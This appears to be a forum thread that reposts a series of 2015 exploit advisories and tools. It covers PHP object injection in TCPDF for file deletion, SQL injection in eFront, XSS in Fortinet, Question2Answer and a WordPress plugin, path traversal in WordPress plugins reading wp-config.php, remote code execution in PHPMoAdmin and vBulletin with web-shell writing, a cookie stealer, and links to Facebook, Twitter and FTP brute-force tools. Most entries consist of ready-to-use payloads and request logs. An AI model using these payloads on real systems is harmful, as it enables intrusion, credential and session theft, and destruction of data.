Search the Community

TCPDF library Universal POI Payload to Arbitrary File Deletion [+] Author: Filippo Roncari [+] Target: TCPDF library [+] Version: <= 5.9 and probably others [tested on v5.9] [+] Vendor: http://www.tcpdf.org [+] Accessibility: Remote [+] Severity: High [+] CVE: n/a [+] Advisory URL: n/a [+] Contacts: f.roncari@securenetwork.it / f@unsec.it [+] Summary TCPDF library is one of the world's most used open source PHP libraries, included in thousands of CMS and Web applications worldwide. More information at: http://en.wikipedia.org/wiki/TCPDF. A universal Object Injection payload for vulnerable PHP applications, which make use of TCPDF library, is here shared. [+] Exploit Details The identified payload allows to exploit any POI vulnerable web application that uses unserialize() on not sanitized user input in a point from which the Tcpdf class is loadable. The payload abuses the __destruct() magic method of the Tcpdf class defined in tcpdf.php and allows to arbitrary delete files on the filesystem. [+] Technical Details Tcpdf.php contains the Tcpdf class definition. The __destruct() method, at least up to version 5.9 (and possibly others), is implemented as follows. [!] Method __destruct() in tcpdf.php ------------------------- public function __destruct() { // restore internal encoding if (isset($this->internal_encoding) AND !empty($this->internal_encoding)) { mb_internal_encoding($this->internal_encoding); } // unset all class variables $this->_destroy(true); } ------------------------- As you can see, the main action performed by __destruct() is the invocation of the inner _destroy() method, which, along with other things, calls the unlink() function on the internal object buffer. [!] Method _destroy() in tcpdf.php ------------------------- public function _destroy($destroyall=false, $preserve_objcopy=false) { if ($destroyall AND isset($this->diskcache) AND $this->diskcache AND (!$preserve_objcopy) AND (!$this->empty_string($this->buffer))) { unlink($this->buffer); } [...] } ------------------------- For a better understanding of the payload, you should know that $buffer is defined as a protected property of the Tcpdf object, which means significant differences in serialization compared to normal properties. [!] $buffer in tcpdf.php ------------------------- /** * @var buffer holding in-memory PDF * @access protected */ protected $buffer; ------------------------- [+] Proof of Concept (PoC) In view of the above, the payload consists of a serialized Tcpdf object with two protected properties set: buffer and diskcache. The first will contain the path to the arbitrary file to delete, while diskcache is a boolean property set to true, necessary to enter the _destroy() inner if branch, in order to reach the unlink() call. A particular attention must be addressed to the null-bytes surrounding the asterisks before the property names. This is the way (crazy, I know) in which PHP serializes protected object properties. An incorrect conversion of the null-bytes during payload injection will result in the exploit failure. [!] Payload ------------------------- O:5:"TCPDF":2:{s:9:"%00*%00buffer";s:[PATH_LENGTH]:"[FILE_PATH_TO_DELETE]";s:12:"%00*%00diskcache";b:1;} ------------------------- [!] Generic PoC Exploit ------------------------- http://vulnerablesite.com/vulnerable_page.php?vulnearble_par=O:5:"TCPDF":2:{s:9:"%00*%00buffer";s:26:"/var/www/arbitraryfile.ext";s:12:"%00*%00diskcache";b:1;} ------------------------- [+] Disclaimer Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. Source

eFront 3.6.15 Multiple SQL Injection Vulnerabilities [+] Author: Filippo Roncari | Luca De Fulgentis [+] Target: eFront [+] Version: 3.6.15 and probably lower [+] Vendor: www.efrontlearning.net [+] Accessibility: Remote [+] Severity: High [+] CVE: <requested> [+] Full Advisory: https://www.securenetwork.it/docs/advisory/SN-15-02_eFront.pdf [+] Info: f.roncari@securenetwork.it [+] Summary eFront is an open source Learning Management System (LMS) used to create and manage online training courses. From Wikipedia: “eFront is designed to assist with the creation of online learning communities while offering various opportunities for collaboration and interaction through an icon-based user interface. The platform offers tools for content creation, tests building, assignments management, reporting, internal messaging, forum, chat, surveys, calendar and others”. [+] Vulnerability Details The new_sidebar.php module, which handles the left side bar in eFront 3.6.15 default theme, is affected by two SQL injection vulnerabilities due to lack of user input sanitization. The identified issues allow unprivileged users, such as professors and students (under certain conditions), to inject arbitrary SQL statements. An attacker could exploit the vulnerabilities by sending specially crafted requests to the web application. These issues can lead to data theft, data disruption, account violation and other impacts depending on the DBMS’s user privileges. [+] Technical Details View full advisory at https://www.securenetwork.it/docs/advisory/SN-15-02_eFront.pdf for technical details and source code. [+] Proof of Concept (PoC) Any unprivileged authenticated user (e.g., student or professor) can exploit this issue, taking into account that: 1. An attacker has to access a lesson (= click on any open lesson) before executing the malicious request. 2. If logged as a Student, a potential attacker has to access a lesson for which his User Type has “content” set to hidden. 3. The default theme, or others that use the sidebar, must be in use. [!] PoC URL ----------------------------- http://target.site/www/new_sidebar.php?sbctg=lessons&new_lesson_id=null+union+select+password+from+users+where+id=1 ----------------------------- The administrator password hash is returned directly in the HTML body as part of the forum link in the sidebar menu. [!] HTTP Response ----------------------------- HTTP/1.1 200 OK Date: Thu, 09 Apr 2015 22:42:19 GMT Expires: Mon, 26 Jul 1997 05:00:00 GMT Content-Type: text/html Content-Length: 28786 [...] <div class = "menuOption" name="lessonSpecific" id="forum_a" > <table> <tr> <td> target="mainframe"> <a href = "professor.php?ctg=forum&forum=11ff89cb38b258fb50fe8672c18ff79b" <img src='themes/default/images/others/transparent.gif' class = 'handle sprite16 sprite16-message' > </a> </td> <td class = "menuListOption" > <a href = "professor.php?ctg=forum&forum=11ff89cb38b258fb50fe8672c18ff79b" title="Forum" target="mainframe">Forum</a> </td> </tr> </table> </div> [...] ----------------------------- For further details and explanations check the full advisory. [+] Disclaimer Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. Surs?: http://dl.packetstormsecurity.net/1505-exploits/efront3615-sql.txt

Document Title: =============== Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1354 Security Bulletin FortiGuard: http://www.fortiguard.com/advisory/FG-IR-15-005/ PSIRT ID: 1327458 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3620 CVE-ID: ======= CVE-2015-3620 Release Date: ============= 2015-05-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1354 Common Vulnerability Scoring System: ==================================== 3.5 Product & Service Introduction: =============================== FortiAnalyzer Centralized Logging and Reporting Appliances securely aggregate, analyze, and report on network log data gathered from Fortinet Network Security Appliances and other syslog-compatible devices. You can analyze and manage a wide range of data, including security events, network traffic, Web content, and email, to measure your security posture regulatory compliance. FortiAnalyzer is one of several versatile, adaptive Fortinet Network Security Management Products that support diverse deployment types, growth flexibility, advanced customization through APIs and simple licensing. Versatile models are designed for large organizations and multi-tenant environments, smaller networks and mid-enterprise organizations (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/network-security-logging-reporting.html ) The FortiAnalyzer Virtual Security Reporting Appliances securely aggregate log data from Fortinet devices and other syslog-compatible devices. Using a comprehensive suite of easily-customized reports, users can filter and review records, including traffic, event, virus, attack, Web content, and email data, mining the data to determine your security stance and assure regulatory compliance. (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/virtual-security-reporting.html ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a client-side vulnerability in the Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application. Vulnerability Disclosure Timeline: ================================== 2014-12-01: Researcher Notification & Coordination (Benjamin Kunz Mejri) 2014-12-02: Vendor Notification 1 (Fortiguard Security - CERT Team) 2015-02-10: Vendor Notification 2 (Fortiguard Security - CERT Team) 2015-02-13: Vendor Response/Feedback (Fortiguard Security - CERT Team) 2015-04-30: Vendor Fix/Patch (Fortinet Developer Team) 2015-05-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Fortinet Product: FortiAnalyzer & FortiManager - Appliance Web Application 5.2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent input validation web vulnerability has been discovered in the official Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application. The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information. The vulnerability is located in the `query and name` values of the `Reports > Advanced > Dataset > View Dataset` module. Remote attackers are able to inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute client-side script code that compromises the fortinanalyzer user/admin session data. The execution of the script code occurs in the test query display module. The attack vector of the vulnerability is located on the client-side of the online-service and the request method to inject or execute the code is GET. The appliance web-application filter prevents to execute script code tags after the request by the vulnerable inputs. To bypass the validation filter and protection mechanism of the fortinalayzer use the img, embed and iframe tags with onload to inject client-side script code. The problem is that the input filter does not capture the the context with the correct encoding as result the code bypass the filter of the appliance and executes as dom. The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] GET Vulnerable Module(s): [+] Reports > Advanced > Dataset Vulnerable Parameter(s): [+] name [+] query Affected Module(s): [+] View Dataset - SQL RUN Query Display During the client security tests the research team noticed that the official vm version and the all appliance models are affected by the security issue. The following versions and models of the fortinet fortianalyzer appliance web-application are affected by the remote cross site scripting vulnerability. Affected Model(s): [+] FortiManager 5.2.0 GA, 5.2.1 GA [+] FortiManager 5.0.3 GA to 5.0.10 GA release [+] FortiAnalyzer 5.0.0 GA to 5.2.1 GA release Affected Version(s): [+] 5.2.0, 5.2.1, 5.0.3 to 5.0.10 & 5.0.0 to 5.21 (GA) Proof of Concept (PoC): ======================= PoC: https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C Exploit: PoC <html> <head><body> <title>Fortianalyzer & Fortimanager- Dataset "Query" - Cross Site Scripting PoC</title> <iframe src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <img src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <iframe src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <img src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> </body></head> </html> Source: Reports > Advanced > Dataset > View Dataset (1) > Query & Name <tr id="yui_3_5_0_1_1417083590427_1543"> <td id="yui_3_5_0_1_1417083590427_1542" colspan="2"> <input id="id_test_sql" value="Test" type="button"> </td> </tr> <!-- Output Console --> <tr> <td colspan="2" id="id_sql_console_output_td"> <div id="id_sql_console_output" class="yui3-skin-sam"><pre><code>ERROR: unterminated quoted identifier at or near ""><[NON-PERSISTENT INJECTED SCRIPT CODE!]) < ^ </pre></code></iframe></code></pre></div> <img id="id_query_response_waiting" src="/resource/images/loading.gif" style="display: none;" hidden="true"></td> </tr> </tbody> --- PoC Session Logs [GET] --- Status: 200[OK] GET https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[application/json] Request Header: Host[fortianalyzer.127.0.0.1:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] X-CSRFToken[55cee37b45599df7afe8bdd27e66bc11] Referer[https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386] Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11] Connection[keep-alive] Response Header: Server[Apache] Expires[-1] Pragma[no-cache] Cache-Control[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Keep-Alive[timeout=30, max=72] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[application/json; charset=UTF-8] - Status: 200[OK] GET https://127.0.0.1:8080/p/report/dataset/list/html/x[NON-PERSISTENT INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[127.0.0.1:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386] Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11] Connection[keep-alive] Response Header: Date[Thu, 27 Nov 2014 10:23:54 GMT] Server[Apache] Vary[Cookie,Accept-Encoding] Set-Cookie[csrftoken=55cee37b45599df7afe8bdd27e66bc11; expires=Thu, 26-Nov-2015 10:23:54 GMT; Max-Age=31449600; Path=/] Content-Encoding[gzip] Keep-Alive[timeout=30, max=70] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=utf-8] Reference(s): https://fortianalyzer.127.0.0.1:8080/p/report/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable name and query input fields in the data set view module. Restrict the input fields and disallow special chars. Encode the test code display output to prevent client-side script code injection attacks. Security Risk: ============== The security risk of the client-side cross site scripting vulnerability in the dataset view module is estimated as medium. (CVSS 3.5) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - Evolution Security GmbH ™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source

Cookies Manager Author: Doddy Hackman A simple program in PHP to help with XSS vulnerability in this program are the following: [+] Cookie Stealer with TinyURL Generator [+] Can you see the cookies that brings back a page [+] Can create cookies with information they want [+] Hidden to login to enter Panel use ?poraca to find the login A video with examples of use: Download Source: https://github.com/DoddyHackman/Cookies_Manager

|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |-------------------------------------------------------------------------| | [+] Exploit Title: Wordpress aspose-doc-exporter Plugin Arbitrary File Download Vulnerability | | [+] Exploit Author: Ashiyane Digital Security Team | | [+] Vendor Homepage : https://wordpress.org/plugins/aspose-doc-exporter/developers/ | [+] Download Link : https://downloads.wordpress.org/plugin/aspose-doc-exporter.zip | [+] Tested on: Windows,Linux | | [+] Discovered By : ACC3SS |-------------------------------------------------------------------------| | [+] Exploit: | | [+] Vulnerable file : 404 Not Found | | [+] Vulnerable Code : <?php $file = $_GET['file']; $file_arr = explode('/',$file); $file_name = $file_arr[count($file_arr) - 1]; header ("Content-type: octet/stream"); header ("Content-disposition: attachment; filename=".$file_name.";"); header("Content-Length: ".filesize($file)); readfile($file); exit; ?> | [+] 404 Not Found[File Address] | [+] | [+] Examples : 404 Not Found |-------------------------------------------------------------------------| |*||*||*||*||*||*||*||*||*||*||*||*||* Source: http://dl.packetstormsecurity.net/1503-exploits/wpasposede-disclose.txt Edit: Cer ca postul acesta s? fie ?ters dac? se poate , originally posted by Aerosol : https://rstforums.com/forum/99636-wordpress-aspose-doc-exporter-plugin-1-0-arbitrary-file-download-vulnerability.rst

|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |-------------------------------------------------------------------------| | [+] Exploit Title:Wordpress aspose-doc-exporter Plugin Arbitrary File Download Vulnerability | | [+] Exploit Author: Ashiyane Digital Security Team | | [+] Vendor Homepage : https://wordpress.org/plugins/aspose-doc-exporter/developers/ | [+] Download Link : https://downloads.wordpress.org/plugin/aspose-doc-exporter.zip | [+] Tested on: Windows,Linux | | [+] Date : 2015-03-28 | [+] Discovered By : ACC3SS |-------------------------------------------------------------------------| | [+] Exploit: | | [+] Vulnerable file : http://localhost/wordpress/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php | | [+] Vulnerable Code : <?php $file = $_GET['file']; $file_arr = explode('/',$file); $file_name = $file_arr[count($file_arr) - 1]; header ("Content-type: octet/stream"); header ("Content-disposition: attachment; filename=".$file_name.";"); header("Content-Length: ".filesize($file)); readfile($file); exit; ?> | [+] http://localhost/wordpress/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=[File Address] | [+] | [+] Examples : http://localhost/wordpress/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php |-------------------------------------------------------------------------| |*||*||*||*||*||*||*||*||*||*||*||*||* Source

|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |-------------------------------------------------------------------------| | [+] Exploit Title:Wordpress Aspose-Cloud-eBook-Generator Plugin Arbitrary File Download Vulnerability | | [+] Exploit Author: Ashiyane Digital Security Team | | [+] Vendor Homepage : https://wordpress.org/plugins/aspose-cloud-ebook-generator/ | [+] Download Link : https://downloads.wordpress.org/plugin/aspose-cloud-ebook-generator.zip | [+] Tested on: Windows,Linux | | [+] Discovered By : ACC3SS |-------------------------------------------------------------------------| | [+] Exploit: | | [+] Vulnerable file : http://localhost/wordpress/wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php | | [+] Vulnerable Code : <?php $file = $_GET['file']; $file_arr = explode('/',$file); $file_name = $file_arr[count($file_arr) - 1]; header ("Content-type: octet/stream"); header ("Content-disposition: attachment; filename=".$file_name.";"); header("Content-Length: ".filesize($file)); readfile($file); exit; ?> | [+] http://localhost/wordpress/wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=[File Address] | [+] | [+] Examples : http://localhost/wordpress/wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php |-------------------------------------------------------------------------| |*||*||*||*||*||*||*||*||*||*||*||*||* Source

###################################################################### [+] Title: Script Question2Answer 1.7 - Stored XSS Vulnerability [+] Author: s0w [+] Tested On Windows & Linux [+] Date: 21/03/2015 [+] Type: Web Application [+] Script Download: https://github.com/q2a/question2answer [+] Vendor Homepage: Question2Answer - Free Open Source Q&A Software for PHP [+] Vulnerability in:\qa-include\pages\question.php [+] Google Dork : intext:"Powered by Question2Answer" ####################################################################### [+] As shown in the code, the value of 'title' and 'textbody' not filtered by 'htmlspecialcharts' which cause stored xss and same in data-store in webserver SQL commands . [+] Exploit : 1. Browse application in browser .. 2. Add new question with xss code like alert method 3. submit the new question to viewers .. 4. complete next steps as xss in tag,body,title,.. etc .. 5. Finally submit your Qes .. 6. Test your target in main page ./index.php .. 7. Use this in Cookies,alerts, Or TrafficBots Have Fun !! [+] XSS Pattern can be used: '"<script>alert(/s0w/)</script> [+] Demo Video : Script Question2Answer - Stored XSS Vulnerability - YouTube [+] Demo Target : ???? ????? # Discovered By: s0w # Contact: fb.me/s0w.egy # Mail: s0wxp0c@gmail.com ?#? Greetz? To Egyptian Shell team | Sec4ever ?# Source:http://dl.packetstormsecurity.net/1503-exploits/question2answer-xss.txt

###################################################################### # _ ___ _ _ ____ ____ _ _____ # | | / _ \| \ | |/ ___|/ ___| / \|_ _| # | | | | | | \| | | _| | / _ \ | | # | |__| |_| | |\ | |_| | |___ / ___ \| | # |_____\___/|_| \_|\____|\____/_/ \_\_| # # PHPMoAdmin Unauthorized Remote Code Execution (0-Day) # Website : http://www.phpmoadmin.com/ # Exploit Author : @u0x (Pichaya Morimoto), Xelenonz, pe3z, Pistachio # Release dates : March 3, 2015 # # Special Thanks to 2600 Thailand group # https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/ # ######################################################################## [+] Description ============================================================ PHPMoAdmin is a MongoDB administration tool for PHP built on a stripped-down version of the Vork high-performance framework. [+] Exploit ============================================================ Someone was trying to sale this shit for 3000usd lolz $ curl "http://path.to/moadmin.php" -d "object=1;system('id');exit" [+] Proof-of-Concept ============================================================ PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7 POST /moadmin/moadmin.php HTTP/1.1 Host: 192.168.33.10 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 34 object=1;system('id;ls -lha');exit HTTP/1.1 200 OK Date: Tue, 03 Mar 2015 16:57:40 GMT Server: Apache/2.4.7 (Ubuntu) Set-Cookie: PHPSESSID=m0ap55aonsj5ueph7hgku0elb1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 223 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html uid=33(www-data) gid=33(www-data) groups=33(www-data) total 116K drwxr-xr-x 1 longcat longcat 102 Mar 3 16:55 . drwxr-xr-x 6 root root 4.0K Mar 3 16:17 .. -rw-rw-r-- 1 longcat longcat 112K Mar 3 16:55 moadmin.php [+] Vulnerability Analysis ============================================================ Filename: moadmin.php 1. create new moadminComponent object 1977: $mo = new moadminComponent; 2. if the http-post parameter 'object' is set 738: class moadminComponent { ... 762: public function __construct() { ... 786: if (isset($_POST['object'])) { 787: if (self::$model->saveObject($_GET['collection'], $_POST['object'])) { ... 3. evaluate the value of 'object' as PHP code 692: public function saveObject($collection, $obj) { 693: eval('$obj=' . $obj . ';'); //cast from string to array Source

################################################################################################################# [+] Exploit Title: vBulletin 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability [+] Discovered By: Dariush Nasirpour (Net.Edit0r) [+] My Homepage: black-hg.org / nasirpour.info [+] Date: [2015 27 February] [+] Vendor Homepage: vBulletin.com [+] Tested on: [vBulletin 4.2.2] [+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg ) ################################################################################################################# Remote Code Injection: +++++++++++++++++++++++++ 1) You Must Register In The vBulletin http://www.victim.com/register.php example:[blackhat] 2) go to your user profile example: [http://black-hg.org/cc/members/blackhat.html] 3) post something in visitor message and record post data with live http header [example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse= 4- change message to anything "For-Test-Sample" => "ALEEEEEEEEX" [because vBulletin don't let you send same comment in a time] [Now post this with hackbar:] URL: http://black-hg.org/cc/visitormessage.php?do=message [Post data] message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse= [And referrer data:] PoC : http://black-hg.org/cc/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked[u can upload shell]")}}]" 5- Open hackbar and tamper it with taper data: referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://black-hg.org/cc/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked[you can upload shell]")}}]" and submit request. ################################################################################################################ Source

# Exploit Title: Wordpress Media Cleaner - XSS # Author: ?smail SAYGILI # Web Site: www.ismailsaygili.com.tr # E-Mail: iletisim@ismailsaygili.com.tr # Date: 2015-02-26 # Plugin Download: https://downloads.wordpress.org/plugin/wp-media-cleaner.2.2.6.zip # Version: 2.2.6 # Vulnerable File(s): [+] wp-media-cleaner.php # Vulnerable Code(s): [+] 647. Line $view = $_GET['view'] : "issues"; [+] 648. Line $paged = $_GET['paged'] : 1; [+] 653. Line $s = isset ( $_GET[ 's' ] ) ? $_GET[ 's' ] : null; # Request Method(s): [+] GET # Vulnerable Parameter(s): [+] view, paged, s # Proof of Concept --> http://target.com/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view={XSS}&paged={XSS}&s={XSS} --> http://localhost/wordpress/wp-admin/upload.php?s=test&page=wp-media-cleaner&view="><img src=i onerror=prompt(/xss/)>&paged="><img src=i onerror=prompt(document.cookie)>&s="><img src=i onerror=prompt(/XSS/)> Source

[+] AnonGhost Auto SQLi Query Maker [+] https://ghostbin.com/paste/hd26gkco [+] Facebook XMPP Chat Protocol Bruteforce [+] https://ghostbin.com/paste/oynf9bt2 [+] Facebook Brute Reset Codel [+] https://ghostbin.com/paste/e5te5umj [+] Ftp Brute Force [+] https://ghostbin.com/paste/3sxovcuh/edit [+] Facebook Pentester [+] https://ghostbin.com/paste/qyns3ox7 [+] Twitter Brute Force [+] https://ghostbin.com/paste/nubyt3vh Password = ./d3f4ult_v1rUsa

